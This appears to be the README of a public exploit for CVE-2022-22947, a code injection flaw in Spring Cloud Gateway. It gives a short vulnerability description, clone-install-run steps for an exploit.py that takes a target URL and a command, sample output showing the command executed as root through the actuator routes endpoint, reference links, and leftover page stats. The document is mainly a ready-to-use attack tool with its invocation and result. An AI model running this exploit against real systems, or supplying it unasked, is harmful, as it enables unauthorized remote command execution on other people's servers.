Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)
CVE: CVE-2022-22947
CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)
Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
Usage
git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'
[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'
###################################################
# #
# Exploit for CVE-2022-22947 #
# - Carlos Vieira (Crowsec) #
# #
# Usage: #
# python3 exploit.py <url> <command> #
# #
# Example: #
# python3 exploit.py http://localhost:8080 'id' #
# #
###################################################
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)
References
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
77 Jan 03, 2023
2 Oct 05, 2022
141 Dec 31, 2022
79 Dec 27, 2022
48 Aug 28, 2022
2 Mar 15, 2022
5k Jan 05, 2023
5 May 31, 2022
1 Jan 11, 2022
34 May 13, 2022
166 Dec 30, 2022
3 Feb 22, 2022
5 Feb 21, 2022
53 Nov 01, 2022
13 Jul 13, 2022
2 Dec 16, 2021
500 Jan 06, 2023
1 Dec 31, 2021
4 Sep 06, 2022
13 Oct 28, 2022